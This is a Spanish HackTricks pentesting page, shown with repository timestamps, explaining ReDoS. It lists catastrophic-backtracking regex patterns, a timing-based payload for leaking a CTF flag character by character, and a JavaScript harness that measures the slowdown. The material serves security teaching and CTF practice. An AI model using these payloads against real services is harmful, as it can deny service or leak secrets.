hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

102 lines
6 KiB
Markdown
Raw Normal View History

# Denegación de Servicio por Expresión Regular - ReDoS
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
# Denegación de Servicio por Expresión Regular (ReDoS)
2023-06-05 18:33:24 +00:00
La Denegación de Servicio por Expresión Regular (ReDoS) es un tipo de ataque de Denegación de Servicio que **aprovecha las ineficiencias en las implementaciones de expresiones regulares**. La mayoría de los motores de expresiones regulares pueden encontrarse con situaciones extremas donde **se desempeñan muy lentamente, a menudo exponencialmente relacionado con el tamaño de la entrada**. Al explotar esto, un atacante puede causar que un programa que utiliza expresiones regulares se cuelgue durante un período de tiempo prolongado.
2023-06-05 18:33:24 +00:00
## El Problema del Algoritmo Naïve de Regex
2023-06-05 18:33:24 +00:00
**Consulta los detalles en [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2023-06-05 18:33:24 +00:00
## Regex Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
2023-06-05 18:33:24 +00:00
Un patrón de expresión regular malicioso se refiere a uno que puede **quedarse atascado con una entrada manipulada**. Los patrones de regex maliciosos típicamente contienen agrupación con repetición y repetición o alternancia con solapamiento dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
2023-06-05 18:33:24 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} para x > 10
2023-06-05 18:33:24 +00:00
Todos los anteriores son susceptibles a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (La longitud mínima de entrada puede cambiar ligeramente, al usar máquinas más rápidas o más lentas).
2023-06-05 18:33:24 +00:00
## Cargas Útiles de ReDoS
2023-06-05 18:33:24 +00:00
### Exfiltración de Cadenas vía ReDoS
2023-06-05 18:33:24 +00:00
En un CTF (o bug bounty) quizás **controlas el Regex con el que se compara una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si un **Regex coincide** y **no si no lo hace**. De esta manera, podrás **exfiltrar** la cadena **carácter por carácter**:
2023-06-05 18:33:24 +00:00
* En [**este post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* En [**este writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar este otro: `<flag>(((((((.*)*)*)*)*)*)*)!`
* En [**este writeup**](https://ctftime.org/writeup/25869) él utilizó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2023-06-05 18:33:24 +00:00
### ReDoS Controlando la Entrada y el Regex
2023-06-05 18:33:24 +00:00
Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como el **regex**:
2023-06-05 18:33:24 +00:00
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2023-06-05 18:33:24 +00:00
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2023-06-05 18:33:24 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Herramientas
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
# Referencias
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>